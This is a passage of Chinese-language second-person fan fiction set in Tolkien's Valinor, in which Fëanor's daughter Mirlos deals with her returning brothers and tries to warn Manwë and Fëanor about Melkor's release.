在费艾诺离开提力安以后芬国昐也对你照顾有加,似乎是以此来表达对兄长费艾诺的歉意,你曾经听喝醉酒的芬国昐诉说内心的苦恼,他好像无论怎么做都无法让事情变好,那时候的你惊讶于原来精灵也会喝醉,而且喝醉以后居然没有像那些木精灵一样发酒疯,居然只是很小声地和你说这些烦心事。 无奈之下的你只能伸出手拍拍他的肩膀,告诉他一切都会好起来的,这种话通常是安慰人的万金油句式,但你实在是不擅长安慰人类亦或是精灵,所以只能说些没什么用的话语。 但当芬国昐说出“我们都是被他抛下的东西”时你忍不住扯了扯嘴角,费艾诺可能从来都没想过要带着这个半兄弟离开提力安吧,不过看在他喝醉的份上你也没有和他计较这件事,你只是保持沉默,在那之后芬国昐许久没再见你,估计是他想起那天的记忆多多少少也感觉到了尴尬吧。 言归正传,你回到自己的房间简单的冲洗后换上一身干净的衣服,洗过的头发还是半干地披散在你的肩头,待会夜风一吹就能自然风干,而且你也没那个闲工夫老老实实地坐在炭火前把头发烘干,就任由它披散着。 当天的晚餐你是在芬国昐的宫殿内解决的,等你回到母亲奈丹尼尔的住所已经是后半夜的事情了,当天晚上你从图尔巩那里得知近期费芬国昐似乎在忙活什么事情,他特意压低声音对你说:“好像是以前犯了错的维拉要被放出来了。” 尽管他没有提及这个维拉的名字,可但凡了解过维拉历史的精灵都知道他说的是谁,那正是维拉曼威的兄弟米尔寇,也是日后被愤怒的费艾诺称之为魔苟斯的堕落维拉。 米尔寇原来是在这个时间点被释放的吗?比你预想的时间还早了许多。 你在回去的路上一直在思考这件事,知晓后面历史发展的你是否应该要阻止这一切的发生呢?不过就算你真的想要阻止,凭你的力量真的能够改变命运的轨迹吗?在你看来米尔寇的背叛也是被伊露维塔写在大乐章里的一部分,一个小插曲。 这件事情一直盘旋在你的脑海里,以至于你当天晚上没有任何睡意,因此当你的门被打开的那一瞬间你就抄起床头的匕首扔了过去。 那把匕首擦过对方的脸颊,刀身的一半没入木门内,你点亮灯火,定睛一看,站在房门口的居然是凯勒巩,他后知后觉地抬起手摸了摸自己的脸颊,好在那把匕首只在他的脸上留下一道小口子,他半开玩笑地说:“这么长时间没见面,这就是你给我的见面礼吗?” 你走下床,朝着凯勒巩走去,他还以为你要拥抱他,都已经很自然地张开双臂,迎接你的拥抱,但是没想到你只是从他旁边取走钉在门上的匕首,然后凉飕飕地说:“你不应该感谢自己的好运气吗?因为再偏移一点,你可能就要去曼督斯殿堂了。” 凯勒巩撇撇嘴,亏他偷偷跑回来见你,结果你就是这反应,他说:“你就那么讨厌我吗?是不是换成别的费诺里安回来你就会很高兴啊?” 你收起匕首,主动抱住他,刚才还气势汹汹的凯勒巩那装腔作势的怒火都被浇灭了,他心想,好吧,看在他好脾气的份上,这次他就原谅你了。 你的拥抱并没有持续多久便松开手,你又问:“你怎么突然回来了?” 凯勒巩就知道你会那么说,他撇撇嘴,“怎么了,我难道就不能回来么?我曾经也住在这里,只不过暂时离开了一段时间而已。”眼看他又要开始无休止的碎碎念了,你当即打断他接下来的话,“好了,可以了,你还是先回答我的问题吧。” 见你那么没耐心,凯勒巩摊手,如实告诉你自己因为想念你和母亲奈丹尼尔才偷偷溜回来的,虽然他自己说是偷溜回来,但实际上他的举动费艾诺不可能不知道,所以费艾诺也默许了他来看你和奈丹尼尔。 “那其他精灵……” “他们应该也快回来了吧,怎么,你不想先见到我吗?” 话题又要绕回原点了,你当即打住,然后说:“能够见到你我当然很高兴,只不过我想你从那么远的地方回来长途跋涉肯定也累了,所以至于其他的事情还是放到明天再说吧。”你这么说主要还是为了避免听他说一大堆的废话,毕竟根据你对他的了解一旦他打开了话匣子那就会喋喋不休地说个不停。 凯勒巩还真以为你是在关心他,他有些感动地说:“好吧,其实我还有很多事情想要对你说,那……就放到明天再说吧。” 好不容易打发走凯勒巩,当天晚上你都没怎么睡好,隔天早上凯勒巩又是早早地敲响你的房门,还好精灵失眠一晚上也没什么影响,顶多就是心情有些不耐烦而已,你过了一会才去开门,但没想到凯勒巩还亲自端了早餐过来,这让你的起床气没那么严重了。 “你准备的早餐?”你问道。 “嗯。”凯勒巩端起木质托盘把早餐放在房间的桌子上静静等待你洗漱完,你在桌子旁边坐下,端起果汁喝了两口,烤面包片还残留着余温,表皮酥脆,你咔嚓咔嚓地咬了几口,在此期间凯勒巩兴致勃勃地说起他和父亲还有兄弟在其他地方的游历,你挖了一勺果酱涂抹在面包片上,稍显敷衍地点了点头,应声道:“原来是这样啊……” 你的态度丝毫没有影响凯勒巩分享的热情,他还在一个劲地说着游历途中的故事,尤其是阿姆罗德和阿姆拉斯不小心掉进盐湖里那个故事,说到他们两个倒霉蛋从盐湖里爬出来结果头发上,脸颊上,就连眼睫上都析出食盐结晶,“真可惜你没看到那幅画面。” 吃完一片面包,你又问:“你回来以后有去见过母亲吗?” 凯勒巩的笑容收敛了一点,“见过了,但她好像也不怎么期待我回来,总是一副忧心忡忡的样子的,要是回来的是别的孩子她可能会更加高兴吧。” 你不觉得奈丹尼尔是因为这件事才忧心忡忡的,她更像是因为米尔寇即将被释放这件事而感到忧愁。 “你别多想,她很爱你。”你说。 凯勒巩沉默几秒,“我知道……我也爱她,当然还有你也是。” 好端端的一顿早餐突然变成互诉心声让你有些不适应。 第105章 第105章“但是他又该 如何利用…… 用过早餐,你又带着凯勒巩去了母亲奈丹尼尔那里,正巧她在修剪花枝,见到你们来了,她便询问凯勒巩长途跋涉回来现在会不会还感到疲惫,后者说:“没有,其实这也没耗费太多精力。”毕竟他一想到自己马上就能见到母亲还有你,激动的心情直接盖过了对疲惫的感知,他现在还很精神。 你拿起旁边另外一把剪子帮着奈丹尼尔修剪花枝,凯勒巩和母亲有一搭没一搭地聊着天,奈丹尼尔虽然表现得对费艾诺的去向不感兴趣,但她的言辞间还是会有意无意地提及费艾诺,而凯勒巩也心照不宣地主动说起这阵子发生在父亲费艾诺身上的事情,当他说起这些事情的时候奈丹尼尔在一旁静静地听着,听得很认真。 最后凯勒巩总结道:“父亲他很快也会回到提力安城,到时候……您要与他见面吗?”其实凯勒巩也不确定母亲奈丹尼尔是否还愿意与父亲费艾诺见面,毕竟从上次的告别来看,这更像是闹得不欢而散,只是碍于你们几个孩子在场,所以才没有表露出来,但凯勒巩曾经见到母亲奈丹尼尔偷偷流泪,却又在见到他的时候装出一副无事发生的样子。 咔哒、啪嗒。 你的脚边逐渐积攒起一地的花枝,你踩着这些花枝,走到另外一边,在这期间凯勒巩与母亲奈丹尼尔的对话不曾中断。 奈丹尼尔对着凯勒巩露出安抚的笑容,“或许吧,得看他忙不忙了。”这话看似是将决定权交到费艾诺手里,但直觉告诉凯勒巩没那么简单,他也学着母亲的样子笑了一下,“我一直都在说自己的事情,您们呢?我们不在的时候提力安都发生了什么事情吗?” 你专心致志地修剪花枝,没搭理凯勒巩的问题,还是奈丹尼尔在耐心解答,她说你经常和芬巩他们玩耍,不光是诺多精灵,你和泰勒瑞精灵的关系也十分融洽,你甚至还学会了潜水,听到这里凯勒巩惊讶出声,“你还会潜水了!?这件事情你怎么不在信里告诉我呢?” 哦对,你都不怎么给他们写信,你那些可怜的哥哥还三天两头地往这里寄信,而你呢,你倒好,和芬巩他们还有别的泰勒瑞精灵玩得不亦乐乎,甚至于都把他们这群哥哥给忘了,难怪他们走的时候你还笑得出来呢,真是个没良心的精灵。 别看凯勒巩心里充斥着不满,他的脸上也是一副不满的表情,他说:“是不是我们再晚点回来你都要把我们给忘了呀?” “提耶科莫,她怎么可能会忘了你们呢?她前两天还和我提起你了呢。”奈丹尼尔出来打圆场,至于她嘴里说的你提及凯勒巩,也不是她胡诌的,而是确有此事,但你只是随口一提,你在晚餐的时候说自己在房间里发现了以前和胡安玩耍时它藏起来的玩具,由此才提到了凯勒巩。 虽然你说的是胡安,但是四舍五入一下确实也能算是提到了凯勒巩。 凯勒巩一听这话,他轻哼一声,瞧了你一眼,眨了一下眼睛,“真的是这样吗?” 眼看奈丹尼尔都帮你到这份上了,你也就顺着她给的台阶下,轻轻地点了点头,“是的,我的房间里还有胡安的玩具呢。” 胡安的玩具让你说的这番话可信度增加了许多,凯勒巩决定原谅你了。 你放下剪子,还好你今天照例要去雅凡娜那里上课,这是个好理由,你说:“我要去上课了,那么,祝您们度过美好的一天。” 但你才走出几步路凯勒巩就追了上来,他说:“那我们顺路。” “你也去找雅凡娜大人?”你奇怪地挑起一边的眉毛。 “不,我找奥力大人。”好吧,奥力和雅凡娜确实住在一块,那也的确是顺路的。 在去的路上凯勒巩又在那里问东问西,他先是问你结交的泰勒瑞精灵如何,他说:“我对泰勒瑞精灵没什么偏见,只是他们和诺多精灵相比,我认为还是诺多精灵更加优秀。” 有趣,即便是在精灵内部种族歧视仍然存在。 诺多精灵瞧不起泰勒瑞精灵这种情况也不算少,说是瞧不起其实有些夸张,只是诺多精灵普遍心高气傲,而且又聪明好学技艺出众,有点傲气也是正常的,只是这份骄傲在凯勒巩身上体现得淋漓尽致,这是临界于骄傲和傲慢之间的姿态,稍微再多一点就变成了傲慢。 “我认为他们都很友善,教会了我很多东西。” “其中就包括潜水是么?”凯勒巩想不明白,你一个诺多精灵怎么会突然想起去学潜水。 “是啊,怎么,你觉得这不好?” 凯勒巩没有明说,他觉得自己和你的相处模式一直都没变过,可能是因为你心智早熟,所以在从前和你对话的时候也都是你占据主导地位,他对此习以为常,他在内心向维拉祈祷你可千万别喜欢上泰勒瑞精灵,在他看来那些个只会造船的家伙可配不上你,可如果真的要问谁能与你相配,凯勒巩就又没了主意,如果你那么问,他大概率会支支吾吾,磕磕巴巴,冒出一句“这样的精灵我还未曾见过”。 “也没有不好,我知道你喜欢结交不同的朋友,这一点很好……”他话说到一半,你的目光就扫了过来,你长大后五官也跟着长开,眉眼恰到好处地糅合了双亲的优点,透露出几分英气却又不至于太过锐利,你没出声,安静地等待着他的后半句话,凯勒巩抿抿唇,最后居然只是又重复一遍,“这一点很好。” 他想要说的就只是这个吗?恐怕不是,估计他把很多想说的话都给咽下去了,不过这样也好,你收回目光,这时候你们来到雅凡娜还有奥力的宫殿,你们先见到的是雅凡娜,她对着你身边的凯勒巩说:“我很高兴见到你回到提力安。” 凯勒巩微微俯身行礼,毕恭毕敬地说:“雅凡娜大人。” 雅凡娜又对你招招手,你走到她身边,雅凡娜告诉凯勒巩奥力正在中心花园内,又为他指了一条近路,凯勒巩没有马上沿着那条路出发,而是颇有些兄长风范地开始询问你这些年在雅凡娜这里的学习情况,要不是雅凡娜还在场你都忍不住想要撇撇嘴了。 “很好,弥尔洛斯是我见过最聪明的学生。”和费艾诺不相上下,她没有说这句话是因为那样听来或许对凯勒巩是一种冒犯,后者笑了起来,他说:“我就知道我的妹妹很优秀。” 差不多可以了吧,你叹了一口气,提醒凯勒巩,“您不是找奥力大人有急事吗?” 凯勒巩这才有些依依不舍地离开,你看这些年过去凯勒巩是一点长进都没有,雅凡娜却说:“有时候手足情谊能够让一切问题都迎刃而解。” 你似笑非笑地说:“ 而有时候手足情谊也是产生问题的源头。“雅凡娜一下子就明白你在说费艾诺和芬国昐这对半兄弟,他们之间可毫无手足情谊可言,或许芬国昐对费艾诺确实有对待兄长的尊敬,但费艾诺?他对芬国昐可没有友爱,有的更多是厌烦。 雅凡娜握着你的手,“但你会成为解决问题的关键。” 她是不是知道些什么呢?你反握住她的手,“我不太明白您的意思。” “噢……弥尔洛斯,你是我最聪明的学生,你应该知道的。” 唉,真是该死的,你才不想当那什么最聪明的学生呢。 雅凡娜带着你走出宫殿,你们一路来到欧洛米宫殿旁的森林,你愈发感受到维林诺空气中漂浮着的阴郁气息,因此你说:“一场预谋已久的风暴即将席卷维林诺。” 谈话间,欧洛米训练战马的身影在森林里若隐若现,欧洛米比以往还要更加严肃地训练战马,仿佛也在为什么做准备,雅凡娜说:“这是不可避免的,曼威大人已经决定释放米尔寇了。” 嗯……曼威,你想去见他一面,你想知道他到底是怎么想的,于是你又一次向雅凡娜提出求见曼威的请求,这次雅凡娜没有拒绝,但她提前告诉你,“很多事情不是你三言两语能够解决的。” 你也没想着能够凭借自己的三言两语说服曼威把米尔寇关到阿尔达毁灭之时,你说:“我明白的。” 雅凡娜终于将你带到曼威的宫殿,这宫殿比你想象的还要空旷,行走在其中大堂内回荡着你的脚步声,你站在原地静静等待曼威现身,也不知过了多久,在这里时间的流速也产生变化,你对时间的感知出现紊乱,你不知道究竟是过去了一分钟还是一个小时,也有可能是一下午,总之你在见到曼威的那一刻突然有种凝滞的时钟指针终于开始走动的感觉。 “弥尔洛斯,费艾诺之女。”曼威呼唤着你的名号,你补充道:“我同样也是奈丹尼尔的女儿。” “是的……奈丹尼尔的女儿。”曼威的声音虚无缥缈,但你却听得很清楚,反复他在你的耳边直接开口说话,“这次你又是带着什么问题而来的呢?” 你暗自思忖是要先询问米尔寇的事情还是问关于如何见到伊露维塔的事情,斟酌了一会,你还是先询问米尔寇的事情,你说:“您应该知道米尔寇不可能那么简单地改过自新的吧?” 没成想曼威沉默了许久,毕竟在他的认知里没有关于阴险狡诈的知识,在他看来释放米尔寇也是因为关押他的时间到了,他所遵循的是程序正义,你倒也不是否认程序正义的合理性,而是对于米尔寇这么狡猾的家伙,程序正义反而会成为他能够钻的空子。 曼威说:“现在时间已经到了。”此时你还以为他说的是米尔寇的刑期已经到了,但后来你才觉得这更像是暗示你是大乐章进入下一个章节的时间到了。 果然雅凡娜说别想用三言两语解决事情是对的,曼威的性格比你想的还要执着不听劝,最后你只能深吸一口气,平复自己的心情,然后说:“那我明白了,不过,我还有一个问题想问。” 曼威没应声,他在等待你的问题,你说:“我该如何见到伊露维塔?” “你为什么要见祂?” “我想知道,他使我来到这里的目的是什么,又或者说,我存在的意义又是什么?”你抬起头仰望曼威的面容,他的身形高大,却不会给你带来如同米尔寇那般的压迫感,顶多只是让你觉得他很威严,曼威转过身,走了几步,接着又回过头,“祂不会为此而见你的。” “那一定要让我把这世界弄得天翻地覆祂才愿意现身吗?您知道的,如果我致力于此,我真的能办到。”很难说这是在威胁还是在挑衅。 曼威没有正面回应你的问题,他转而反问:“成为公主,享受他人的关心与宠爱难道不好么?这样的命运已经胜过许多平凡的生命。” “不好。”你直截了当地说。 没想到你回答得那么决绝,曼威迟疑了几秒,“你本该沉浸在幸福中的。” “是的,如果我不曾识破幸福的假象的话,我本该是幸福的。”可一旦意识到这种种都是被他人设计好的,你在任人摆布就让你感到不悦。 曼威凝视着你,他叹了一口气,“抱歉……我无法帮助你。” “这一次你难道不幸福吗?”曼威大为不解,你的哥哥爱护你,你的双亲尊重你,你拥有的一切都是旁人羡慕的。 你不想让气氛变得针锋相对,你收敛自己的情绪,发自内心地说:“我能够感知到幸福。”当奈丹尼尔拥抱着你的时候,当你的兄长想着法送上你心仪的礼物时,当你学会潜水在海底遨游的时候,你都能感受到微弱的幸福。 “这就足够了。”曼威似乎松了一口气,他见你不再追问其他的,过了一会也从你面前消失,彻底没了踪影。 好吧,这次和曼威见面的收获就是一无所获,你离开曼威宫殿的脸色稍显阴沉,站在宫殿大门口看向远方,几道熟悉的身影正在靠近提力安城,不到一天的时间费艾诺就和他的那些个儿子抵达提力安城的入口。 精灵的视力极佳,跟在费艾诺身后骑在马背上的阿姆罗德和阿姆拉斯朝着你所在的方向看过来,顿时兴奋地朝你挥挥手,你看着他们的口型,他们在不约而同地呼唤你的名字,你脸上阴沉的神色逐渐褪去,浮现出一个还算温和的笑容。 远处的阿姆罗德和阿姆拉斯顿时嚷嚷着,“我们看见弥尔洛斯啦——!” 卡兰希尔可被这对咋咋呼呼的双生子吓了一跳,他眉头紧皱,“你们一惊一乍的做什么?”而且不就是看见了你吗?再说了,卡兰希尔知道你可没有那么喜欢自己的这些哥哥,这也是为什么卡兰希尔对你的态度也始终是不冷不热的,因为他是个斤斤计较的精灵(尽管他自己并不承认这一点,并且还认为就算是感情也应当是等价交换的),因此当他意识到自己对你的喜爱,和你对他的喜爱若是放在天平的两边,显而易见的不平等时,他当机立断削减对你的喜爱。 阿姆拉斯说:“你难道就不期待和弥尔洛斯见面吗?” “不期待。” 阿姆拉斯撇撇嘴,心说这家伙就是嘴上别扭,他小声地嘟哝,“你最好说到做到。” 卡兰希尔这暴脾气和凯勒巩不相上下,他说:“做到就做到,我可不像你们,哪怕她都表现出那么明显的不在意还上赶着凑过去。” 玛格洛尔及时出现阻止一场论战的爆发,迈兹洛斯对父亲费艾诺说:“提力安城的气氛有些不对。” 费艾诺早就收到了下属传来的消息,“被关押的米尔寇即将被释放。” 这会对诺多精灵产生什么影响吗?迈兹洛斯想,他还匀出一部分注意力去关注玛格洛尔和卡兰希尔以及阿姆罗德和阿姆拉斯他们四个的对话,真可谓是一心两用。 抵达提力安后,他们先是去往母亲奈丹尼尔的住所,当然这其中不包括费艾诺,一方面是因为他还要听下属汇报他离开这段时间提力安发生的事情,另一方面他也知道自己现在去可能会让妻子奈丹尼尔感到不自在。 只是费艾诺没想到自己会在下属身边见到你,他到的时候你正在听费艾诺的下属介绍自己的工作内容,你听得入神,甚至都没意识到费艾诺的到来,还是那位下属对着费艾诺毕恭毕敬地说:“费艾诺 大人,您回来了。“你这才抬起头,对着费艾诺微微俯身,后者摘下披风,他这一身行头稍显风尘仆仆,他叫了一声你的名字,“弥尔洛斯,你怎么会在这里?” “我在等您回来。”你说,既然没办法说动曼威再多关押米尔寇一段时间,那你就只能先去提醒费艾诺了,但愿他能听进你的劝告,虽然你觉得这个可能性不太大,但总得要试试看的。 费艾诺说:“你的哥哥们都去你母亲那里了。”他还以为你是在等待其他的哥哥,但你轻轻地摇了摇头,“我知道,但我有些话想要对您说。” 闻言,费艾诺的手下很识趣地从你们身边离开,留下你们单独谈话,费艾诺坐在自己的办公桌后,下属已经把他需要的文件整理出来整整齐齐地放在旁边,费艾诺示意你在他身边坐下,等你坐下后他才问:“你想对我说什么?” “我想您应该也已经听说了米尔寇即将被释放的消息。”你开始为自己接下来真正要说的话做铺垫,费艾诺表情了然,他早就知道这个消息了,只不过你专程为了这件事来找他谈话吗?这不太像你以往的作风,如果要问你以往的作风如何,那么在费艾诺看来你对他手足还有双亲的爱都深藏在心底,只在极少数的几个瞬间流露出来,这一点和费艾诺有些像,但又有所不同。 而你这次明显是因为担心什么才会特意在这里等他的,他说:“是否释放他还得要看曼威大人的意思。” “释放米尔寇的事情木已成舟,没有谁能够改变曼威的决定,我想说的是,这米尔寇既然当初能够试图改变大乐章,那么这些年的刑罚也不足以让他悔过自新,想必他出来以后肯定会现装出一副真诚认错的姿态,以此来使得其他维拉和精灵放松警惕。” “但是他又该如何利用精灵呢?”费艾诺实在是自傲,他甚至不觉得自己会被米尔寇利用,或许也是他这份骄傲使得他失去了一些东西。 你还以为自己说得足够明显了,结果费艾诺还是不明白吗?你强忍住不耐烦,详细解释道:“就比如说挑拨您和芬国昐大人之间的关系,让您们兄弟反目。” 没成想费艾诺冷哼一声,“我可不承认他是我的兄弟!” 你只是随意提了一句,他就那么较真了,难怪米尔寇实施阴谋第一个就盯上了费艾诺,毕竟他和芬国昐的矛盾是长久存在着的,而且还是不可调和的,简直就像是淋满了汽油的柴火堆,稍微扔下一根火柴就能瞬间点燃矛盾。 “父亲,您看——哪怕我只是心平气和地与你谈论此事您都会情绪波动,那么如果米尔寇刻意利用这个矛盾呢?” 费艾诺盯着你看了一会,他开始怀疑你来这里的目的,他说:“是谁让你来的,你母亲?还是那个家伙?”他甚至不愿说出芬国昐的名字。 “是我自愿来这里的,我那么做是为了避免日后出现灾祸。” “这可不是我能决定的,如果他能老实本分一些,而不是在背地里搞什么小动作我自然不会针对他。”他都不会多看他一眼。 在他对芬国昐的怨气发泄在你身上之前,费艾诺深吸一口气,“这个话题中止吧,我不想与你再次见面闹得不愉快,弥尔洛斯,你比我走之前又长高了许多。”说着,他伸出手。 看得出来他非常不愿意提及这个话题,你无奈地把手放在他的掌心,忽然间又听见他说:“你越来越像我了。” 你差点就要撇嘴,得了吧,你可没他那么容易炸毛。 第106章 第106章“真的只是稍微有一点…… 你早就该预料到的,自己在费艾诺那里不会得到自己想要的结果,但你在来之前心中还存有一丝希望,认为如果有自己的提醒,至少他应该会有所警惕,但现在看来,你还是想得太简单了,又或者是低估了费艾诺的固执程度。 眼看话题开始偏转到其他方向,你当机立断地就对费艾诺说:“那么,我接下来就不打扰您了。”倒不如说是你不想陪着费艾诺说些废话了,还得从他的只言片语里读懂他对妻子奈丹尼尔的关心,如果他真的想要关心那就直接去与她见面,而不是这么拐弯抹角地询问你。 真是个别扭的精灵,你在内心补充一句。 眼看你要走,费艾诺又说:“你还有急事?”根据你对他的了解,他说这话的意思就是希望你能够在这里再停留一会,你说:“嗯……也没有很着急的事。”毕竟你现在回到母亲奈丹尼尔那里还得要应付那七个哥哥,七个对一个,好吧,虽然费艾诺是最不好对付的那一个,但你还是又坐下来。 对此费艾诺满意地笑了一下,你想他对自己的孩子自然是有爱的,但是他的爱也更像是有附加条件的东西,比如说他认为他所爱的对方就应该听从自己的建议,说实话,你真的很怀疑当初他那七个儿子对着伊露维塔立下毒誓的时候真的都是发自内心的吗?他们的内心是否也有一丝挣扎呢?只是迫于种种原因,所以才立下这毒誓的。 陷入沉思的你神色凝重,费艾诺问道:“你在想什么?” “我在想双亲对孩子的爱是否是有条件的。”你直言不讳,毕竟你只是这么说一句而已,费艾诺总不可能读取你内心的真实想法,而且他很自然而然地联想到了自己的父亲芬威还有死去的母亲弥瑞尔,他说:“我认为是无条件的。” 你脱口而出,“那么您当初又为何带着我的哥哥们离开?您知道的,他们其中并非每一位都想离开提力安去往远方。” 当话题的矛头指向自己的时候费艾诺沉默了,恐怕他没有遇到过来自后代那么尖锐直白的问题,你是唯一一个这么问的精灵,哪怕是迈兹洛斯,他也只是安静地遵守他的命令,更奇怪的是费艾诺并没有产生任何愤怒的情绪,他的内心无比平静,甚至还因为你主动吐露心声而感到雀跃,他说:“他们既然是我的孩子,就应当追随我。” “我不认为祖父也会这样命令自己的孩子。”你说。 好吧,这下子费艾诺确实有些烦躁了,“精灵和精灵之间的也是存在区别的。” “但您和他同样都是父亲。”虽然你觉得他们扮演父亲的角色比较起来半斤八两。 费艾诺反问道:“弥尔洛斯,你这是在埋怨我吗?” 你背靠着椅背,你觉得自己没什么好埋怨他的,你只是不太能理解他对自己孩子的命令口吻而已,对于他来说孩子也更像是自己的杰作,是能够与精灵宝钻相媲美的杰作,但这样的形容不会让你觉得他的孩子有多幸福。 “没有。”你有点后悔了,自己应该在刚刚就回奈丹尼尔那里的,虽说那里还有七个费诺里安,但至少他们不会那么咄咄逼人,你从善如流地道歉,“抱歉,是我说错了,我不该对您说这些的。” 话是那么说的,但是费艾诺丝毫没从你身上感受到任何歉意,你之所以那么说只是为了尽快结束这个话题,这个在你看来浪费时间的话题。 费艾诺从旁边的包袱了拿出一个小盒子,然后说:“这是我给你准备的礼物,本想让迈兹洛斯转交给你的,但是既然我们难得见面了,还是直接给你吧。” 确实,你们难得见面。 你收下礼物,打开盒子一看,原来是一枚宝石,那光泽丝毫不逊色于他亲手打造的精灵宝钻,更重要的一点是,经过他的介绍你才知道这颗宝石是自然形成的,费艾诺说:“日后不要喜欢送给你宝石不及这一颗的精灵。” 看来他肯定是听到了什么风声,他撇撇嘴,“就算对方送你珍珠也不行。” 你更能够确定了,他听闻了什么消息,你说:“谢谢您的礼物,不过有一点我还是很好奇,您日后也会带着我去往提力安城以外的地区吗?就像对待我的哥哥们那样。” “只要你想的话。”他还在征求你的意见,虽然你是唯一一个女儿,但他却并不会因为你是个女精灵而对你心存偏见,相反地,他反倒认为你完美地继承了他的所有优点,甚至可以说是他最满意的孩子,他也曾对妻子奈丹尼尔说过这话,可对方听到以后脸色却变得很难看,她伤心得声音都在颤抖,“你已经将其他孩子都带走了,就不能哪怕留下一个吗?” 尽管费艾诺将你留在妻子奈丹尼尔身边,但他始终认为你们会走上同一条路,你们终将并肩同行。 你再次起身,这次费艾诺没再挽留,只是又递给你一个盒子,那是送给你母亲奈丹尼尔的礼物,他什么都没说,对你挥挥手,示意你回到母亲奈丹尼尔身边。 你拿着礼物盒子离开,等回到奈丹尼尔身边的时候不出意外地看见其他费诺里安围在她旁边,都快变成一个包围圈了,你思考几秒,想着自己要不要过去,还是等他们离开以后再去找奈丹尼尔,但是没等 你想好,凯勒巩就看见了你,同时看见你的还有阿姆罗德和阿姆拉斯,他们三个一同跑过来给你一种莫名的压迫感,应该是对你的耳朵产生的压迫感。 他们一迎上来就说:“你刚刚怎么不在这里?你去哪里了?是去找泰勒瑞精灵了吗?” “你要看看我们给你准备的礼物吗?” “弥尔洛斯你怎么突然长得这么高了?” “弥尔洛斯你怎么都不给我写回信?你真的那么忙吗?” 啊……好吵,好聒噪。 你微微眯起眼睛,感觉他们都已经吵到你的眼睛了,你深吸一口气,然后说:“你们一个一个问题慢慢来可以吗?” 他们赞同地点点头,然后又为谁先问你问题开始争执不休,最后还是玛格洛尔走过来再次打圆场,他说:“这样吧,不如让凯勒巩先说吧。” “为什么啊!?”阿姆罗德和阿姆拉斯的声音交叠在一块,仿佛来了一段二重奏,玛格洛尔耐心地说:“因为我想你们应该已经成熟了。” 站在旁边的凯勒巩若有所思,他怎么觉得玛格洛尔这话是话里有话呢?想着,他奇怪地看了一眼玛格洛尔,后者对他露出一个普通的笑容,又说:“怎么了?你刚才不是有很多问题想要问弥尔洛斯吗?你问吧。” 凯勒巩说:“算了,这样显得我很幼稚。” 阿姆罗德和阿姆拉斯惊讶地对视一眼,维拉在上,急脾气的提耶科莫也会有认识到自己幼稚的一天吗?他们该不会是听错了吧? 你说:“那么阿姆罗德还有阿姆拉斯,你们想问我什么呢?” 在他们俩和你对话的时候凯勒巩走到一边,奈丹尼尔有些欣慰地说:“我很高兴看见你成熟稳重的一面。” 但他们不知道的是凯勒巩心里盘算的是他大可以今天晚上拉着你夜聊到天明,反正他早就想那么做了,所以难得宽容大度一次也没关系,毕竟他也不是什么斤斤计较的精灵。 阿姆罗德还在尽可能装出一副身为你们两个精灵的哥哥的姿态,反观阿姆拉斯则是握住你的双手兴奋地问道:“你学会潜水啦?那你最深能潜到海底哪里?” 他关心的就是这样的问题,你没仔细算过深度,但是按照你下潜的速度还有时间,一百米应该是有的,而且你说的一百米还是你的舒适区范围,如果你真的想要挑战的话,下潜到几百米的地方估计也不太困难,因为精灵的体质很好。 你如实回答,阿姆拉斯惊叹地发出“哇”的一声,又激动地绕着你转圈圈,就像是一只大型犬,他说:“既然你都学会潜水了,那我也要学一学,应该不会太难吧?” “我相信凭借你的聪明才智肯定不会太难的。”你很捧场地说。 阿姆罗德等得都要没什么耐心了,终于,他开口问道:“有泰勒瑞精灵在追求你吗?” 这个问题也是在场其他诺多精灵想要知道的,因此一时间大家都竖起耳朵仔细听你的回答,你先是笑了一声,然后说:“没有,但他们确实都是我的朋友。” 噢……朋友啊,大家好像松了一口气,但又好像提着一口气,阿姆罗德认真地说:“如果真的有精灵在追求你,请务必让我们知道。” 按照他们这个消息灵通速度,就算你不说,你这边任何一点风吹草动他们很快就会知道的,压根不用你亲自告诉他们,不过你还是配合地点点头,“我会的。” 因为你表现得太配合了,这反倒让在场的精灵有些不相信,因为你自小表现出来的性格就和逆来顺受不沾边,恣意张扬还差不多一些。 见他们没再继续问你问题,你就走到奈丹尼尔面前,把费艾诺给你的礼物转交给她,并且轻轻地说:“这是父亲让我给您的,他在外面依旧在思念着您。” 你的那些个哥哥顿时了然,原来你刚刚是去你们的父亲费艾诺那里了,这确实没什么可以挑刺的,因此现场突然就变得非常安静,只剩下奈丹尼尔打开礼物盒子发出的动静,那是一条项链,玛格洛尔低声对奈丹尼尔说:“请允许我为您戴上。” 奈丹尼尔笑着点点头。 凯勒巩还在旁边碎碎念,“我就说他怎么好像一直在寻找什么呢。”库茹芬幽幽地在凯勒巩耳边说:“那你怎么没当着他的面说呢?” 凯勒巩瞥了库茹芬一眼,真是开玩笑,这话他才不会当面问呢,他不由得反问库茹芬,“那你怎么不问呢?” 在他们兄弟俩你一言我一语地说着什么的时候卡兰希尔正在暗中观察你,其实他也有给你准备礼物,而且还是在他看来非常实用的礼物,他在外面游历的时候闲着没事干替你打造了一对臂环,主体构成为黄金,工艺繁复,上面不仅镶嵌着规则对称的宝石,还有用特制颜料勾勒出的图案,是逐渐展翅高飞的海鸟。 但是他在考虑是否要送给你,毕竟你看上去对礼物不怎么感兴趣,哪怕是你的兄长送给你的礼物你也只是表面很喜欢,卡兰希尔可以保证这些礼物你收下以后就都放在房间角落里再也难以重见天日,早知道就不该为你打造这对臂环的,只是在游历的时候偶然之间看见一位女精灵双臂上的臂环,他想你好像还没有这样的装饰品。 只是心血来潮而已,卡兰希尔这样解释自己的行为,那对臂环已经放在他的背包里。 感知到卡兰希尔的目光,你不解又疑惑地向他投去一个眼神,你平日里和卡兰希尔的相处不算多,但这也不奇怪,因为他和其他兄弟的关系也不算多亲密,毕竟迈兹洛斯和玛格洛尔走得近,凯勒巩和库茹芬时常结伴同行,至于剩下的那对双生子,都说是双生子了,其他精灵就算是双亲也很难介入他们之中,所以这样看下来,卡兰希尔确实和其他兄弟没那么亲近。 “您是有什么话想要对我说的吗?”从你使用敬称就能看出来你们之间的社交距离,你就算和迈兹洛 斯聊天也很少使用敬称,后者抿唇,先问你:“我们这次回来,你有给我们准备礼物吗?” 嘴上问的是我们,但其实他真正想要听到的答案是你回答自己给他准备了礼物。 你说:“当然,我为你们每一位都亲手制作了一件斗篷,希望你们不要嫌弃。”至于你为什么给他们制作斗篷,那还得感谢雅凡娜,她在某堂课上给你介绍了特殊的植物,它的枝干撕开后可以化作千丝万缕的丝线,而且以此为原材料制作而成的衣物具有防火保暖的功能,雅凡娜给你留的课堂作业就是以此来制作衣服,你图方便就制作了斗篷。 